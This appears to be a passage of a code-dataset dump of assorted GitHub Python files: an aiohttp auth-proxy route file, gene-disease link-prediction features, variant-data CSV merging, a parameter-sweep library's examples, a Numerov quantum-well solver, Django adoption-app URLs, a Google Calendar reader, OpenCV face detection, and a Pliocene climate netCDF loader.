None:\n        initial_proxy_url = proxy._proxy_url\n\n        proxy_url = initial_proxy_url.with_path(\n            f\"{initial_proxy_url.path.removesuffix('auth')}cdn/{cdn_scheme}/{cdn_domain}\"\n        )\n        target_url = cdn_index_url\n\n    try:\n        handler_kwargs = {}\n\n        if proxy_url is not None:\n            handler_kwargs[\"access_url\"] = proxy_url\n\n        if target_url is not None:\n            handler_kwargs[\"host_url\"] = target_url\n\n        return await proxy.all_handler(request, **handler_kwargs)\n    except Exception as e:\n        logger.exception(\"Error in proxy handler!\")\n        raise HTTPInternalServerError(reason=\"Failed to pass login data back!\") from e\n\n\nroutes.view(\"/flows/{flow_id}/session/{session_id}/auth\")(handle_auth)\nroutes.view(\"/flows/{flow_id}/session/{session_id}/cdn/{scheme}/{domain}/{tail:.*}\")(\n    handle_auth\n)  # dealing with redirects out\nroutes.view(\"/flows/{flow_id}/session/{session_id}/auth/{tail:.*}\")(\n    handle_auth\n)  # other routes go through proxy\n\n\n@routes.view(\"/{tail:.*}\")\nasync def handle_root(request: Request) -> Response:\n    \"\"\"\n    handle bad routes\n    :param request:\n    :return:\n    \"\"\"\n    aiohttp_session = await get_session(request)\n\n    if \"flow_id\" in aiohttp_session and \"session_id\" in aiohttp_session:\n        try:\n            return await handle_auth(request)\n        except HTTPException as e:\n            raise HTTPInternalServerError(reason=\"Failed to handle catch-all!\") from e\n    else:\n        raise HTTPNotFound()\n\n\n__all__ = (\"routes\",)\n","repo_name":"nefarium/nefarium-classic","sub_path":"src/nefarium/server/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":8936,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"73971874888","text":"from os import path\n\nimport pandas as pd\nimport numpy as np\n\nfrom Sources.Preprocessing import remove_edges_from_graph_for_link_prediction\nfrom Sources.Preprocessing import select_emb_save_path\n\n\ndef get_k_fold_data(run_node2vec_emb,data, graph_with_no_added_qualified_edges,\n                 use_saved_emb_file=None,\n                 add_qualified_edges=None,\n                 dataset=None, use_weighted_edges=None,\n                 normalized_weighted_edges=None,\n                 edges_percent=None,\n                 edges_number=None,\n                 added_edges_percent_of=None,\n                 use_shared_gene_edges=None,\n                 use_shared_phenotype_edges=None,\n                 use_shared_gene_and_phenotype_edges=None,\n                 use_shared_gene_but_not_phenotype_edges=None,\n                 use_shared_phenotype_but_not_gene_edges=None,\n                 use_shared_gene_or_phenotype_edges=None,\n                 use_gene_disease_graph=None,\n                 use_phenotype_gene_disease_graph=None,\n                 graph_edges_type=None,\n                 task=None,\n                 enforce_end2end=None,\n                 cross_validation=None,\n                 k_fold=None,\n                 split=None,\n                 get_data_with_emb_as_feat=None,\n                 split_by_node = None):\n    raise NotImplementedError()\n\n    reset_graph = graph_with_no_added_qualified_edges\n    edges_with_features_dict = {}\n\n    splitted_edges_dir = f'C:\\\\Users\\\\Anak\\\\PycharmProjects\\\\recreate_gene_disease\\\\Data\\\\processed\\\\LinkPrediction\\\\GeneDiseaseProject\\\\copd\\\\PhenotypeGeneDisease\\\\PGDP\\\\Node2Vec\\\\UnweightedEdges\\\\NoAddedEdges\\\\'\n\n    if split_by_node:\n        splitted_edges_dir += f'SplitByNode\\\\KFold={k_fold}\\\\'\n    else:\n        splitted_edges_dir += f'SplitByEdge\\\\KFold={k_fold}\\\\'\n\n    # for i, (train_set_np, test_set_np) in enumerate(\n    #         data.split_cross_validation(data, k_fold, stratify=True, task=task,\n    #                                     # reset_cross_validation_split=True,\n    #                                     splitted_edges_dir=splitted_edges_dir\n    #                                     )):\n    for i, (train_test_dict) in enumerate(\n            data.split_cross_validation(data, k_fold, stratify=True, task=task,\n                                        split_by_node=split_by_node,\n                                        # reset_cross_validation_split=True,\n                                        splitted_edges_dir=splitted_edges_dir\n                                        )):\n        if i == 10:\n            print('run node2vec without disease nodes of the highest degree')\n            exit()\n        train_set_np = train_test_dict['train_set']  # is it np or df?\n        test_set_np = train_test_dict['test_set']\n        embedding_model_file_path = select_emb_save_path(\n            save_path_base='data',\n            emb_type='node2vec',\n            add_qualified_edges=add_qualified_edges,\n            dataset=dataset,\n            use_weighted_edges=use_weighted_edges,\n            edges_percent=edges_percent,\n            edges_number=edges_number,\n            added_edges_percent_of=added_edges_percent_of,\n            use_shared_phenotype_edges=use_shared_phenotype_edges,\n            use_shared_gene_edges=use_shared_gene_edges,\n            use_shared_gene_and_phenotype_edges=use_shared_gene_and_phenotype_edges,\n            use_shared_gene_but_not_phenotype_edges=use_shared_gene_but_not_phenotype_edges,\n            use_shared_phenotype_but_not_gene_edges=use_shared_phenotype_but_not_gene_edges,\n            use_shared_gene_or_phenotype_edges=use_shared_gene_or_phenotype_edges,\n            use_gene_disease_graph=use_gene_disease_graph,\n            use_phenotype_gene_disease_graph=use_phenotype_gene_disease_graph,\n            graph_edges_type=graph_edges_type,\n            task=task,\n            split=split,\n            k_fold=k_fold,\n            k_fold_ind=i,\n            split_by_node=split_by_node\n        )\n\n        if not path.exists(\n                embedding_model_file_path):\n            graph_with_no_added_qualified_edges = reset_graph.copy()\n            # print(len( reset_graph.edges ))\n\n            graph_with_no_added_qualified_edges_with_removed_test_edges = remove_edges_from_graph_for_link_prediction(\n                data, graph_with_no_added_qualified_edges, train_set_np,\n                test_set_np)\n\n            run_node2vec_emb(data=data,\n                             G=graph_with_no_added_qualified_edges_with_removed_test_edges,\n                             embedding_model_file_path=embedding_model_file_path,\n                             # enforce_end2end=enforce_end2end,\n                             edges_percent=edges_percent,\n                             edges_number=edges_number,\n                             use_weighted_edges=use_weighted_edges,\n                             add_qualified_edges=add_qualified_edges,\n                             added_edges_percent_of=added_edges_percent_of,\n                             enforce_end2end=enforce_end2end\n                             )\n\n        node_with_features = get_data_with_emb_as_feat(data,\n                                                       # use_saved_emb_file,\n                                                       add_qualified_edges,\n                                                       dataset,\n                                                       use_weighted_edges,\n                                                       normalized_weighted_edges,\n                                                       edges_percent,\n                                                       edges_number,\n                                                       added_edges_percent_of,\n                                                       use_shared_gene_edges,\n                                                       use_shared_phenotype_edges,\n                                                       use_shared_gene_and_phenotype_edges,\n                                                       use_shared_gene_but_not_phenotype_edges,\n                                                       use_shared_phenotype_but_not_gene_edges,\n                                                       use_gene_disease_graph,\n                                                       use_phenotype_gene_disease_graph,\n                                                       graph_edges_type,\n                                                       task,\n                                                       split,\n                                                       k_fold,\n                                                       split_by_node,\n                                                       k_fold_ind=i,\n                                                       # need it to choose file name\n                                                       )\n\n        edges_with_features = []\n        edges_label = []\n        # BUG: there are duplicate value in edes_label? How come?\n        ## even if there are duplicate index name, embedding value is unique. What is the reason\n        for node1, node2, _ in np.concatenate([train_set_np, test_set_np],\n                                              axis=0).tolist():\n            edges_instance_with_features = np.concatenate(\n                [node_with_features.loc[node1],\n                 node_with_features.loc[node2]]).tolist()\n            edges_instance_label = f'{node1}_{node2}'\n            edges_with_features.append(edges_instance_with_features)\n            edges_label.append(edges_instance_label)\n\n        edges_with_features_df = pd.DataFrame(edges_with_features,\n                                              index=edges_label)\n        edges_with_features_dict[i] = edges_with_features_df\n\n    print()\n    return edges_with_features_dict\n\n","repo_name":"Anak2016/recreate_gene_disease","sub_path":"Sources/Preparation/Features/split_data.py","file_name":"split_data.py","file_ext":"py","file_size_in_byte":7861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"9050760551","text":"import os\r\nimport sys\r\n\r\n\r\ntrain_filename1 = sys.argv[1:][0]\r\ntrain_filename2 = sys.argv[1:][1]\r\n\r\n\r\nif train_filename1 ==\"./LOF_GOF/goflof_HGMD2019_vepout.csv\":\r\n    out_filename = \"./LOF_GOF/goflof_HGMD2019_with_gnomAD.csv\"\r\n\r\nout_fp = open(out_filename, \"w\")\r\n\r\n\r\nfp = open(train_filename2, \"r\")\r\nhead = next(fp)\r\nhead__arr = head.strip().split(\",\")\r\nhead__mapping = {el: i for i, el in enumerate(head__arr)}\r\nnew_head =[]\r\nfor i, el in enumerate(head__arr):\r\n    if i == head__mapping[\"phyloP100way_vertebrate\"]:\r\n        continue\r\n    new_head.append(el)\r\nl = \",\".join(new_head)\r\nout_fp.write(l)\r\nout_fp.write(\"\\n\")\r\nfor line in fp:\r\n    line__arr = line.strip().split(\",\")\r\n    new_line = []\r\n    for i, el in enumerate(line__arr):\r\n        if i == head__mapping[\"phyloP100way_vertebrate\"]:\r\n            continue\r\n        new_line.append(el)\r\n    l = \",\".join(new_line)\r\n    out_fp.write(l)\r\n    out_fp.write(\"\\n\")\r\n\r\n\r\nfp = open(train_filename1, \"r\")\r\nhead = next(fp)\r\nhead__arr = head.strip().split(\",\")\r\nhead__mapping = {el: i for i, el in enumerate(head__arr)}\r\nfor line in fp:\r\n    line__arr = line.strip().split(\",\")\r\n    new_line = []\r\n    for i, el in enumerate(line__arr):\r\n        if i == head__mapping[\"id\"] or i == head__mapping[\"LOFGOF\"]:\r\n            continue\r\n        new_line.append(el)\r\n    l = \",\".join(new_line)\r\n    out_fp.write(l)\r\n    out_fp.write(\"\\n\")\r\n","repo_name":"huangwenkui/UPPER","sub_path":"preprocess_snpdata/preprocess_LOFGOF_data/Build_LOFGOF_data.py","file_name":"Build_LOFGOF_data.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10176068347","text":"\"\"\"A set of examples with which to test the sweepy functionality. These tests serve a) as partial documentation, so that\nuse of the module should be clear from examining the examples, and b) as a testing suit for future updates.\n\n\"\"\"\n\nimport sweepy\nimport math\nfrom numpy import random\nimport numpy as np\n\ndef almost_square( x, sig ):\n\t\"\"\"\n\tA function which takes inputs x and sig and retruns x^(2+E) where E is a small\n\tgaussian error term generatesd randomly from random.normal(0,sig)\n\n\t\"\"\"\n\t\n\treturn x**( 2 + random.normal( 0, sig ) )\n\nclass survival_of_the_largest():\n\t\"\"\"\n\tClass defining a model which evolves integers. An integer's fitness is defined\n\tas how large it is.\n\t\n\t\"\"\"\n\n\tdef __init__( self, pop_size, mu, gens ):\n\t\t\"\"\"\n\t\tinputs:\n\t\t-------\n\t\tpop_size : int\n\t\t\tnumber of integer individuals to have in the population.\n\t\tmu : 0 < float < 1\n\t\t\tmutation rate, with probability mu an individual turns into another random number\n\t\tgens : int\n\t\t\tnumber of generations to select for\n\n\t\t\"\"\"\n\t\tself.pop_size = int( pop_size )\n\t\tself.mu = mu\n\t\tself.gens = gens\n\t\tself.population = random.choice( list( range( 100 ) ) , self.pop_size )\n\n\tdef mutate( self, individual ):\n\t\t\"\"\"\n\t\tRandomly mutates an individual with probability mu\n\n\t\t\"\"\"\n\t\tif random.random() < self.mu :\n\t\t\treturn random.randint(100)\n\t\telse:\n\t\t\treturn individual\n\n\tdef go(self):\n\t\t\"\"\"\n\t\tSet the simulation running\n\n\t\t\"\"\"\n\n\t\t##Define fitness as the value of the individual, normalised\n\t\t##to sum to one.\n\t\tfor gen in range(self.gens):\n\t\t\t\n\t\t\ttotal = float( sum( self.population ) )\n\t\t\tfitness = [ i/total for i in self.population  ]\n\n\t\t\t#choose the individuals who will reproduce\n\t\t\tnew_pop = random.choice( self.population, p = fitness, replace = True, size = self.pop_size )\n\n\t\t\tself.population = list( map( self.mutate, new_pop ) )\n\n\t\t##The fittest indivdual\n\t\tself.max = max( self.population )\n\n\t\t##The least fit individual\n\t\tself.min = min( self.population )\n\n\t\t##The mean fitness\n\t\tself.mean_fitness = np.mean( self.population )\n\n\t\t##The standard deviation of fitness\n\t\tself.std_fitness = np.std( self.population )\n\n\nif __name__ == \"__main__\":\n\n\t#Run all the examples\n\n\t##Lets run almost_square with a fixed value of sigma = 0.2 and sweep over x from 0 to 2 in steps of 100, taking the mean of 5 runs\n\tsweepy.sweep_func( almost_square, [ ['x', 0, 2, 100] ], fixed_params = {'sig': 0.2}, reps = 5, output_directory = 'example_almost_square', ensure_dir = True )\n\n\t##Let's run almost square, but this time sweeping over sig as well. Have x run from 0.2 to 1.2 in steps of 1000 and sigma\n\t#from 0.05 to .5 in steps of 100, and this time don't repeat and give the output parameter a more descriptive name, so that\n\t##sweepy can name the subdirectories.\n\tsweepy.sweep_func( almost_square, [ [ 'x', 0.2, 1.2, 1000 ], [ 'sig', 0.05, 0.5, 100 ] ],\\\n\t output_directory = 'example_almost_square2', ensure_dir = True, output_names = [ 'x_to_two_ish' ]  )\n\n\t##Run the survival of the largest module, and sweep over mutation rate and population size, and observe both mean fitness and std of fitness\n\tsweepy.sweep_class( survival_of_the_largest, [ [ 'mu', 0, 0.5, 10 ], [ 'pop_size', 10 , 50, 5 ] ], reps = 5,\\\n\t output_variables = [ 'mean_fitness', 'std_fitness' ], fixed_params = {'gens':100}, output_directory = 'example_SOTL', ensure_dir = True )\n","repo_name":"simontudge/sweepy","sub_path":"examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":3311,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"9915302340","text":"#!/usr/bin/env python3\n\nimport matplotlib.pyplot as plt # Erzeugt eine Instanz von Pyplot\r\nimport numpy as np # Erzeugt eine Instanz von Numpy\n\n# Definition einer Potentialwandlandschaft - Tiefe V_0, (eV) Position x_0 (nm) und Breite L (nm) - Delta_X ist der Bereich indem gerechnet wird (nm), N = Anzahl der Schritte in x\r\n\r\ndef Potential_Landschaft(V0,X0,L,Delta_X,N):\r\n\tWerte_Potential = []\r\n\tX_Achse = []\r\n\th = Delta_X / N # Auflösung in nm /schritt\r\n\tprint(\"Auflösung in nm\")\r\n\tprint(h)\r\n\tSchritte_bis_X0 = round(X0/h)#Ganze Zahl für Schleife\r\n\tprint(\"Schritte bis X0\")\r\n\tprint(Schritte_bis_X0)\r\n\tSchritte_ohne_Potential = round(L/h)#Ganze Zahl für Schleife\r\n\tprint(\"Schritte zwischen den Wänden\")\r\n\tprint(Schritte_ohne_Potential)\r\n\tSchritte_nach_Potential = N-Schritte_bis_X0 - Schritte_ohne_Potential # Brauchen wir nicht\r\n\t\r\n\tfor i in range(N):\r\n\t\tX_Achse.append(i*h)#Erzeugung der x-Achse in nm\r\n\t\t\r\n\tfor i in range(Schritte_bis_X0):#Bis X0 gibt es eine Potentialwand\r\n\t\tWerte_Potential.append(V0)\r\n\tfor i in range(Schritte_bis_X0,(Schritte_bis_X0 + Schritte_ohne_Potential)):#Der Bereich ab X0 im Bereich L ist potentialfrei\r\n\t\tWerte_Potential.append(0)\r\n\tfor i in range((Schritte_bis_X0 + Schritte_ohne_Potential),N):#Danach gibt es die rechte Potentialwand\r\n\t\tWerte_Potential.append(V0)\r\n\t\r\n\treturn Werte_Potential, X_Achse#Rückgabe des Potentials (eV) und der X-Achse (nm)\r\n\r\n# jetzt müssen wir noch die richtige K_List berechnen - dass ist der Omega^2 Vorfaktor und er hängt von der Energie des Teilchens ab\r\n\r\ndef K_list_gen(Potential,Energie,N):\r\n\tK_List = []\r\n\tFaktor = 26.27#Umrechnungsfaktor für eV und nm\r\n\tfor i in range(N):\r\n\t\tK_List.append(Faktor * (Energie-Potential[i]))#Die Energie des Teilchens ist fest aber die Potential-Landschaft ändert sich mit der Position in X\r\n\treturn K_List # Rückgabe des ortsabhängigen K\n\ndef Wavefunction(K,U0,U1,Delta_X,N):#Berechnung der Wellenfunktion mit ortsabhängigem K\r\n\tWerte_U = []\r\n\tWerte_U.append(U0)  # Trägt den Start von U in den Listenplatz \"Null\" ein\r\n\tWerte_U.append(U1)  # Wir benötign den Wert x-h und x um x+h abzuschätzen\r\n\th = Delta_X / N\r\n\t# print(\"Schrittweite\")\r\n\t# print(h)\r\n\tfor i in range(2, N):\r\n\t\tWerte_U.append(((2 * Werte_U[i - 1] * (1 - 5 / 12 * h * h * K[i-1])) - Werte_U[i - 2] * (\r\n\t\t\t\t1 + h * h * K[i-2] / 12)) / (1 + 1 / 12 * h * h * K[i]))  # Numerov mit K(x) vergleiche mit Numerov oben\r\n\t\t\r\n\treturn Werte_U\n\ndef Berechnung_der_Normierten_Wellenfunktion(Eigenwert,U0,U1,Potential,Delta_X,N):\r\n\tNorm_Wave =[]\r\n\tfrequency = K_list_gen(Potential,Eigenwert,N)\r\n\tEigen_Wave = Wavefunction(frequency,U0,U1,Delta_X,N)\r\n\t# Wir haben jetzt eine nicht-normierte Wellenfunktion zum Energie-Eigenwert ausgerechnet\r\n\t# Wir müssen jetzt die Normierung ausrechnen\r\n\tSumme = 0\r\n\t\r\n\tfor i in range(N):#Summe = Integral\r\n\t\tSumme = Eigen_Wave[i]**2+Summe\r\n\tprint(\"Normierung\",Summe)\r\n\tfor i in range(N):\r\n\t\tNorm_Wave.append((Eigen_Wave[i]/np.sqrt(Summe))) #Normierung der Werte\r\n\t\t\r\n\treturn Norm_Wave\n\n\nNum_0 = 0\r\nNum_1 = 0.000001\r\nRange = 15 # in x von 0 bis 15 nm\r\nPosition = 2.5 # Position linke Wand\r\nLength =  10 # Ohne Potential\r\nSteps = 1000 # Schritte\r\nPotential_Wert = 1 #  Potential in eV\r\n\r\n# 1 eV (compare to 0.00375637 (inf) / 0.0034764667 (n=1) / 0.0139058668 n=2 (nom.) 0.013904041\n\nPot, X =Potential_Landschaft(Potential_Wert,Position,Length,Range,Steps)\n\nWave_1 = Berechnung_der_Normierten_Wellenfunktion(0.0034764667,Num_0,Num_1,Pot,Range,Steps)\nWave_2 = Berechnung_der_Normierten_Wellenfunktion(0.013904041005392142,Num_0,Num_1,Pot,Range,Steps)\r\nWave_3 = Berechnung_der_Normierten_Wellenfunktion(0.03127716244972,Num_0,Num_1,Pot,Range,Steps)\n\nfig, ax1 = plt.subplots()\r\n\r\ncolor = \"tab:red\"\r\nax1.set_xlabel(\"X-Axis (nm)\")\r\nax1.set_ylabel(\"Potential (eV)\")\r\nax1.plot(X, Pot, color = color)\r\nax1.tick_params(axis='y', labelcolor = color)\r\n\r\n\r\nax2 = ax1.twinx()\r\n\r\ncolor = \"tab:blue\"\r\nax2.set_ylabel(\"Psi\", color = color)\r\n#ax2.plot(X, Wave, color = color)\r\nax2.plot(X, Wave_1, color = color)\r\n#ax2.plot(X, Wave_2, color=color)\r\n#ax2.plot(X, Wave_3, color = color)\r\nax2.tick_params(axis='y', labelcolor =color)\r\n\r\nfig.tight_layout()\r\n\r\n#plt.xlim(1,14) #Achsen einschränken\r\n#plt.ylim(-50,50)\r\n\r\nplt.show()","repo_name":"RasmusRaschke/Informatik_Nanos","sub_path":"code_vorlesung/Energie_Values_K_list.py","file_name":"Energie_Values_K_list.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1515718352","text":"from django.urls import path\n# from django.contrib.auth import views as auth_views\nfrom . import views\n\napp_name= \"adoptionManagement\"\nurlpatterns = [\n    path(\"\", views.displayDog, name=\"home\"),\n    path(\"upload/\", views.uploadDog, name=\"uploadDog\"),\n    path(\"updateDog/<str:pk>/\", views.updateDog, name=\"updateDog\"),\n    path(\"deleteDog/<str:pk>/\", views.deleteDog, name=\"deleteDog\"),\n    path(\"queue/\", views.registerDog, name=\"registerDog\"),\n    path(\"registrations/\", views.displayRegistration, name=\"displayRegistration\"),\n    path(\"acceptRegistration/<str:pk>/\", views.acceptRegistration, name=\"acceptRegistration\"),\n    path(\"requestDog/<str:pk>/\", views.requestDog, name=\"requestDog\"),\n    path(\"cancelRequest/<str:pk>/\", views.cancelRequest, name=\"cancelRequest\"),\n    path(\"displayRequest/\", views.displayRequest, name=\"displayRequest\"),\n    path(\"clientRequest/\", views.clientRequest, name=\"clientRequest\"),\n    path(\"acceptRequest/<str:pk>/\", views.acceptRequest, name=\"acceptRequest\"),\n    path(\"declineRequest/<str:pk>/\", views.declineRequest, name=\"declineRequest\"),\n    path(\"search/\", views.searchResult, name = \"searchResult\"),\n   \n    \n\n]","repo_name":"S-Sahanii0/Petmedia","sub_path":"adoptionManagement/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28796751471","text":"from __future__ import print_function\nfrom datetime import datetime\nfrom dateutil import tz\nfrom datetime import timedelta\nimport dateutil.parser\nest = tz.gettz('America/Detroit')\nimport pickle\nimport os.path\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\n\nimport time as t\n# If modifying these scopes, delete the file token.pickle.\nSCOPES = ['https://www.googleapis.com/auth/calendar.readonly']\n\ndef sayEvents(speechEngine):\n    \"\"\"Shows basic usage of the Google Calendar API.\n    Prints the start and name of the next 10 events on the user's calendar.\n    \"\"\"\n    creds = None\n    # The file token.pickle stores the user's access and refresh tokens, and is\n    # created automatically when the authorization flow completes for the first\n    # time.\n    if os.path.exists('token.pickle'):\n        with open('token.pickle', 'rb') as token:\n            creds = pickle.load(token)\n    # If there are no (valid) credentials available, let the user log in.\n    if not creds or not creds.valid:\n        if creds and creds.expired and creds.refresh_token:\n            creds.refresh(Request())\n        else:\n            flow = InstalledAppFlow.from_client_secrets_file(\n                'credentials.json', SCOPES)\n            creds = flow.run_local_server(port=0)\n        # Save the credentials for the next run\n        with open('token.pickle', 'wb') as token:\n            pickle.dump(creds, token)\n\n    service = build('calendar', 'v3', credentials=creds)\n\n    # Call the Calendar API\n    #today = datetime.utcnow().date()\n    #start = datetime(today.year, today.month, today.day, tzinfo=tz.tzutc()).astimezone(est)\n    #end = start + timedelta(1)\n    #print(start.isoformat())\n    #print(end.isoformat())\n    today = datetime.now().date()\n    dateString = today.strftime(\"%Y-%m-%d\")\n    events_result = service.events().list(calendarId='primary', timeMin=dateString+'T00:00:00-00:00',\n                                        maxResults=10, timeMax= dateString+'T23:59:00-00:00',singleEvents=True,\n                                        orderBy='startTime').execute()\n    events = events_result.get('items', [])\n    sayString = 'Today you have the following events: '\n    sayList = []\n    if not events:\n        print('No upcoming events found.')\n    for event in events:\n        start = event['start'].get('dateTime', event['start'].get('date'))\n        #speechEngine.say(str(start)+str(event['summary']))\n        sayList.append(str(event['summary']))\n        print(start, event['summary'])\n    speechEngine.say(sayString)\n    t.sleep(0.5)\n    speechEngine.say(sayList[0])\n    t.sleep(1.0)\n    for event in sayList[1:]:\n        speechEngine.say('and ' + event)\n        t.sleep(1.0)\n","repo_name":"ankithu/HomeworkManagementServer","sub_path":"RaspberryPiScripts/googleCalenderEngine.py","file_name":"googleCalenderEngine.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37891646854","text":"import cv2\nimport os\nimport sys\nimport time\n\nif __name__ == \"__main__\" :\n\n    cap = cv2.VideoCapture(\"introduce.mp4\")\n    if not cap.isOpened() :\n        sys.exit()\n\n    cap_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n    cap_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n    fps = cap.get(cv2.CAP_PROP_FPS)\n\n    fourcc = cv2.VideoWriter_fourcc('m','p','4','v')\n    writer = cv2.VideoWriter('detect_face.mp4',fourcc, fps, (cap_width, cap_height))\n\n    # cascade_base_path = \"haarcascades/\"\n    # #準備　カスケードを取得\n    # face_cascade = cv2.CascadeClassifier(os.path.join(cascade_base_path, 'haarcascade_frontalface_alt_tree.xml'))\n    # right_eye_cascade = cv2.CascadeClassifier(os.path.join(cascade_base_path, 'haarcascade_righteye_2splits.xml'))\n    # left_eye_cascade = cv2.CascadeClassifier(os.path.join(cascade_base_path, 'haarcascade_lefteye_2splits.xml'))\n\n    face_cascade = cv2.CascadeClassifier(\"cascade/cascade.xml\")\n    start = time.time()\n\n    while True :\n        # 1フレーム読み込み\n        ret, frame = cap.read()\n\n        if ret :\n            # 現在のフレームを出力\n            print(\"Processing frame: {}\".format(cap.get(cv2.CAP_PROP_POS_FRAMES)))\n\n            # 画像を適応的ヒストグラム平坦化\n            hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n            h, s, v = cv2.split(hsv)\n            clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(3, 3))\n            result = clahe.apply(v)\n            hsv = cv2.merge((h,s,result))\n            rgb = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)\n\n            # グレースケールに変換\n            img_gray = cv2.cvtColor(rgb, cv2.COLOR_BGR2GRAY)\n\n            # 1. フレームの中に顔が写っている　\n            face_points = face_cascade.detectMultiScale(img_gray)\n\n            for (fx,fy,fw,fh) in face_points:\n\n            #     #2. ROI(Region of Interest:対象領域)となる画像を切り出す\n            #     #右領域と左領域でそれぞれ分割(アシュラ��爵方式)\n            #     width_center = fx + int(fw * 0.5)\n            #     face_right_gray = img_gray[fy:fy+fh, fx:width_center]\n            #     face_left_gray = img_gray[fy:fy+fh, width_center:fx+fw]\n\n            #     #3. 右目と左目の両方が写っているか判定し出力\n            #     right_eye_points = right_eye_cascade.detectMultiScale(face_right_gray)\n            #     left_eye_points = left_eye_cascade.detectMultiScale(face_left_gray)\n\n            #     if 0 < len(right_eye_points) :\n            #         #右目はオレンジ\n            #         (rx,ry,rw,rh) = right_eye_points[0]\n            #         cv2.rectangle(frame,(fx+rx,fy+ry),(fx+rx+rw,fy+ry+rh),(0,255,255),2)\n\n            #     if 0 < len(left_eye_points) :\n            #         #左目は赤\n            #         (lx,ly,lw,lh) = left_eye_points[0]\n            #         cv2.rectangle(frame,(width_center+lx,fy+ly),(width_center+lx+lw,fy+ly+lh),(0,0,255),2)\n\n                #顔全体は緑\n                cv2.rectangle(frame,(fx,fy),(fx+fw,fy+fh),(0,255,0),2)\n\n            writer.write(frame) \n        else : break\n\n    print(\"処理時間 {} 秒\".format(time.time() - start))\n    writer.release()\n    cap.release()","repo_name":"moosan6363/opencv","sub_path":"movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1327784007","text":"#############################################################################\n# Code for Calculating Mean Annual Temperature, Annual Temperature Variation \n# and sediment thickness for Pliocene\n#############################################################################\n\nfrom math import *\nfrom numpy import *\nfrom netCDF4 import MFDataset, Dataset\n\n#################################################################\n# Importing the netCDF files for all the years in Pliocene\n#################################################################\n\npath1 = \"/esd/esd/data/climate_models/echam/echam_output/ESD/\"\nmodel = \"e010_hpc-bw_e5w2.3_PLIO_t159l31.1d\"\npath2 = \"/output_raw/\"\nfile1 = \"e010_1004*.nc\"\ndata1 = path1 + model + path2 + file1\nnc1 = MFDataset(data1,'r')                # MFDataset used to import multiple .nc files\nfile2 = \"e010_1005*.nc\"\ndata2 = path1 + model + path2 + file2\nnc2 = MFDataset(data2,'r')\nfile3 = \"e010_1006*.nc\"\ndata3 = path1 + model + path2 + file3\nnc3 = MFDataset(data3,'r')\nfile4 = \"e010_1007*.nc\"\ndata4 = path1 + model + path2 + file4\nnc4 = MFDataset(data4,'r')\nfile5 = \"e010_1008*.nc\"\ndata5 = path1 + model + path2 + file5\nnc5 = MFDataset(data5,'r')\nfile6 = \"e010_1009*.nc\"\ndata6 = path1 + model + path2 + file6\nnc6 = MFDataset(data6,'r')\nfile7 = \"e010_1010*.nc\"\ndata7 = path1 + model + path2 + file7\nnc7 = MFDataset(data7,'r')\nfile8 = \"e010_1011*.nc\"\ndata8 = path1 + model + path2 + file8\nnc8 = MFDataset(data8,'r')\nfile9 = \"e010_1012*.nc\"\ndata9 = path1 + model + path2 + file9\nnc9 = MFDataset(data9,'r')\nfile10 = \"e010_1013*.nc\"\ndata10 = path1 + model + path2 + file10\nnc10 = MFDataset(data10,'r')\nfile11 = \"e010_1014*.nc\"\ndata11 = path1 + model + path2 + file11\nnc11 = MFDataset(data11,'r')\nfile12 = \"e010_1015*.nc\"\ndata12 = path1 + model + path2 + file12\nnc12 = MFDataset(data12,'r')\nfile13 = \"e010_1016*.nc\"\ndata13 = path1 + model + path2 + file13\nnc13 = MFDataset(data13,'r')\nfile14 = \"e010_1017*.nc\"\ndata14 = path1 + model + path2 + file14\nnc14 = MFDataset(data14,'r')\nfile15 = \"e010_1018*.nc\"\ndata15 = path1 + model + path2 + file15\nnc15 = MFDataset(data15,'r')                \n\n# Initializing the variable for Surface Temperature and computing the dimension sizes for Surface Temperature\n\nT1 = nc1.variables['tslm1'][:,:,:]-273.15\ntime, lat, lon = shape(T1)         \nT2 = nc2.variables['tslm1'][:,:,:]-273.15  \nT3 = nc3.variables['tslm1'][:,:,:]-273.15\nT4 = nc4.variables['tslm1'][:,:,:]-273.15\nT5 = nc5.variables['tslm1'][:,:,:]-273.15\nT6 = nc6.variables['tslm1'][:,:,:]-273.15\nT7 = nc7.variables['tslm1'][:,:,:]-273.15\nT8 = nc8.variables['tslm1'][:,:,:]-273.15\nT9 = nc9.variables['tslm1'][:,:,:]-273.15\nT10 = nc10.variables['tslm1'][:,:,:]-273.15   \nT11 = nc11.variables['tslm1'][:,:,:]-273.15\nT12 = nc12.variables['tslm1'][:,:,:]-273.15\nT13 = nc13.variables['tslm1'][:,:,:]-273.15\nT14 = nc14.variables['tslm1'][:,:,:]-273.15\nT15 = nc15.variables['tslm1'][:,:,:]-273.15\n\n#######################################################\n# Write out data to a new netCDF file for whole year\n#######################################################\n\nnco = Dataset(\"/esd/esd/docs/hsharma/data_small/data/1003_1017_Plio.nc\",'w', format=\"NETCDF4_CLASSIC\")\n\n# Creating Dimensions\nnco.createDimension('time', None)               # It will store only year\nnco.createDimension('lat', lat)\nnco.createDimension('lon', lon)\n\n# Creating Variables\ntimeo = 